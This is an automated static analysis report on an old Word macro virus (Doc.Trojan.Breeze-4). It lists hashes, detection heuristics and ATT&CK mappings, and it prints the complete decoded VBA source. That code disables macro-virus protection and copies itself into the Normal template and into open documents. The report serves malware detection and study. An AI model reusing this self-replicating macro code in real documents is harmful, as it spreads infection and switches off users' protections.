Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 840902e2183363c6…

MALICIOUS

Office (OLE)

45.0 KB Created: 1999-06-11 18:20:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 8aff5c8a4ea2ed7bb89d6301b6c00121 SHA-1: ee099295008cb9f661fae3bbdd1d671c11fac1cb SHA-256: 840902e2183363c662de79301d37edd44d2f1457feb76f397db398158332a807
288 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains legacy WordBasic macro markers and a VBA AutoClose macro that attempts to execute code. The script writes a value to the registry key HKEY_CURRENT_USER\weather, which is a common persistence mechanism. The presence of legacy macro markers and the AutoClose function suggests an older, but still functional, macro-based attack.

Heuristics 6

  • ClamAV: Doc.Trojan.Breeze-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Breeze-4
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 915 bytes
SHA-256: e0c63325a27bb1fe557271bd62d9cb4559387316903c8f05ac6a89519214dc58
Detection
ClamAV: Doc.Trojan.Breeze-4
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "aaaaa"
Sub AutoClose()
On Error Resume Next
Options.VirusProtection = False
If NormalTemplate.VBProject.VBComponents.Item(1).Name <> "aaaaa" Then Application.OrganizerCopy ActiveDocument.FullName, NormalTemplate.FullName, "aaaaa", wdOrganizerObjectProjectItems
If ActiveDocument.VBProject.VBComponents.Item(1).Name <> "aaaaa" Then Application.OrganizerCopy NormalTemplate.FullName, ActiveDocument.FullName, "aaaaa", wdOrganizerObjectProjectItems
System.PrivateProfileString("", "HKEY_CURRENT_USER\", "weather") = "f0re's Macro Contest Contribution !"
End Sub

'weather (c)1999 f0re
'contribution to the linezer0 macro contest